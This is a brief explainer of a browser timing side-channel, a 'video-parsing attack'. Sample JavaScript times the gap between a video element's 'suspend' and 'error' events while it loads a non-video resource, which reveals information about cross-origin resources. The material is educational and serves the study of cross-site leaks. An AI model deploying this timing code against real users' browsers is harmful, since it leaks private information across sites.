Video-parsing Attack
This type of attack relies on video parsing.
- The attacker observes the time taken by the browser to process a resource when the browser attempts to parse an invalid video format.
- When the event “suspend” is triggered (i.e., when the resource download stops or completes), the attacker measures the time the browser takes to process the invalid video format.
Sample JavaScript Code
function getMeasurement(url, callback) {
var p = document.createElement('video');
var begin;
p.addEventListener('suspend', function() {
begin = performance.now();
});
p.addEventListener('error', function() {
var conclude = performance.now();
callback(conclude - begin);
});
p.src = url;
}
In this attack, a resource that is not intended to be a video (e.g., a small file) is requested, causing the browser to trigger an error once it tries to process it as a video file.